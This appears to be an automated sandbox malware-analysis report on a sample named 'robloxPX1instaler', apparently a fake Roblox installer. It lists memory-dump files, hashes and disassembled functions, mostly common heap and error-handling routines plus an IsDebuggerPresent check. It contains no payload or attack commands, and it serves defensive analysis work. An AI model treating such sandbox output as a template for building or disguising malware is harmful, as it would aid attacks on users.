Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: eb3b6bbc5a4889c2d3b723345e2699807264e6f8bb44b212122d252302c76951
Instruction ID: d6977efd527a4ac8ae054feb428d35ac5e6302b978163eb0224c49ff0937f351
Opcode Fuzzy Hash: eb3b6bbc5a4889c2d3b723345e2699807264e6f8bb44b212122d252302c76951
Instruction Fuzzy Hash: BFF0C271900711AFDB01BFB0D85AB6E3BB4EF45711F2045C8F015AB2A2CF305941CBA1

Function 00B2A4B0 Relevance: 3.0, APIs: 2, Instructions: 22
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,00B32F19,?,00000000,?,?,00B331BA,?,00000007,?,?,00B33665,?,?), ref: 00B2A4C6
GetLastError.KERNEL32(?,?,00B32F19,?,00000000,?,?,00B331BA,?,00000007,?,?,00B33665,?,?), ref: 00B2A4D1

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: ed8796b6b8b811556b22073a875dba6405b7e92134aaa1dd4f8388c53f62e00e
Instruction ID: ea787a7c4d93188201bb8a45ef0e8ba30040ccc2b70c8b3775a2ec2e8878a60d
Opcode Fuzzy Hash: ed8796b6b8b811556b22073a875dba6405b7e92134aaa1dd4f8388c53f62e00e
Instruction Fuzzy Hash: E8E08C32100614ABCF213BA0FC0DB893FA8EF54792F1484A1F61CA61B0DE71CA428BA0

Function 00B2A1C5 Relevance: 2.6, APIs: 2, Instructions: 125
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00B14464,00C3C1C8,0000000C), ref: 00B2A1C9
SetLastError.KERNEL32(00000000), ref: 00B2A26B

Part of subcall function 00B2B99B: RtlAllocateHeap.NTDLL(00000008,?,?,?,00B2A212,00000001,00000364,?,00000006,000000FF,?,00B14464,00C3C1C8,0000000C), ref: 00B2B9DC

Part of subcall function 00B2A4B0: RtlFreeHeap.NTDLL(00000000,00000000,?,00B32F19,?,00000000,?,?,00B331BA,?,00000007,?,?,00B33665,?,?), ref: 00B2A4C6
Part of subcall function 00B2A4B0: GetLastError.KERNEL32(?,?,00B32F19,?,00000000,?,?,00B331BA,?,00000007,?,?,00B33665,?,?), ref: 00B2A4D1

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: ErrorLast$Heap$AllocateFree
String ID:
API String ID: 2037364846-0
Opcode ID: 3a55d70ad5479078cf478c31921f326c0f5a5db3e6a2a635e5279d75873532aa
Instruction ID: bc51789bd875b183b1da464acc1ef3f5468b269cca91ec4e5591bda13a2056e6
Opcode Fuzzy Hash: 3a55d70ad5479078cf478c31921f326c0f5a5db3e6a2a635e5279d75873532aa
Instruction Fuzzy Hash: 6431E871A45632ABD6113774BC86F3E2AD8DB41BB9B1002F0F51DA21E1DEA58D0982A3

Function 00B2B99B Relevance: 1.5, APIs: 1, Instructions: 39
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,?,?,00B2A212,00000001,00000364,?,00000006,000000FF,?,00B14464,00C3C1C8,0000000C), ref: 00B2B9DC

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: c1f545a2cb348c1211eeec35a5ec2c5214950ce9fd89a08d150f20b84063dc3e
Instruction ID: 2932e0999320895b7f0c786c24f53534e0cf462c7d76c35e4e86cfecb1476683
Opcode Fuzzy Hash: c1f545a2cb348c1211eeec35a5ec2c5214950ce9fd89a08d150f20b84063dc3e
Instruction Fuzzy Hash: 0FF0BE312052316B9B326B62BC42F5A3BC8EF517B1B148093EA1CE6194CF20EC8186A0

Function 00B2A4EA Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,00B1463C,00B2A27F,?,00B23C3D,00C3C588,00000018,00000003), ref: 00B2A51C

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 480e0bb913040398a08ebdc059501383921171a2c2f1c61975754216d6925ca7
Instruction ID: e58e185c6552acf6ae42ee59ee239ad21d612be2aa4f3f721dcdb9037ca03879
Opcode Fuzzy Hash: 480e0bb913040398a08ebdc059501383921171a2c2f1c61975754216d6925ca7
Instruction Fuzzy Hash: 47E0ED312012315BEA3127A5BC20B6B3ACCEF613B1F1101E0AD5CA20E0DE64CD0182A3

Function 00B27A3B Relevance: 1.5, APIs: 1, Instructions: 20
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B27A42

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: H_prolog3
String ID:
API String ID: 431132790-0
Opcode ID: 0da8359d014ae50235125a7176857f705708790306614ed90f353bbe6ed69e27
Instruction ID: dffffbba7a3ec08d93708e48dc610ba55f5cb44f138c51060e9b47c68bdd66de
Opcode Fuzzy Hash: 0da8359d014ae50235125a7176857f705708790306614ed90f353bbe6ed69e27
Instruction Fuzzy Hash: D5E09A76C4020EAADB00DFD4C496BEFBBFCAB08700F504466A205E7181EA7497458BA1

Non-executed Functions

Function 00B0E378 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00B0E470
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00B0E47A
UnhandledExceptionFilter.KERNEL32(-00000327,?,?,?,?,?,00000000), ref: 00B0E487

Strings

[8, xrefs: 00B0E383

Memory Dump Source

Source File: 00000002.00000002.1450311775.0000000000811000.00000020.00000001.01000000.00000006.sdmp, Offset: 00810000, based on PE: true

Associated: 00000002.00000002.1450278743.0000000000810000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1450897262.0000000000B58000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451042641.0000000000C40000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451084594.0000000000C45000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451141891.0000000000CF0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451176737.0000000000CF8000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D02000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D07000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000D21000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000DA9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E86000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E8C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000E92000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF6000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000EF8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000F9C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000000FED000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000103F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001090000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000010E1000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001132000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001183000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000011D4000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001225000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001276000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000012C8000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001319000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000136A000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.00000000013BB000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000191E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.000000000195E000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1451243879.0000000001961000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.1453134631.0000000001963000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_810000_robloxPX1instaler.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: [8
API String ID: 3906539128-2721712938
Opcode ID: 1d93e8090e794692647d86de713ede4c5de58497acc40f9e88892411b4620add
Instruction ID: fb494a68f6727896180d42d6d31b0f6870e9e278839623d9db4f1be2ca63bb0b
Opcode Fuzzy Hash: 1d93e8090e794692647d86de713ede4c5de58497acc40f9e88892411b4620add
Instruction Fuzzy Hash: 0E31C5749012189BCB21DF29D889B8CBBF8FF08310F5041DAE41CA7291EB709F858F45

Function 00B2D13C Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

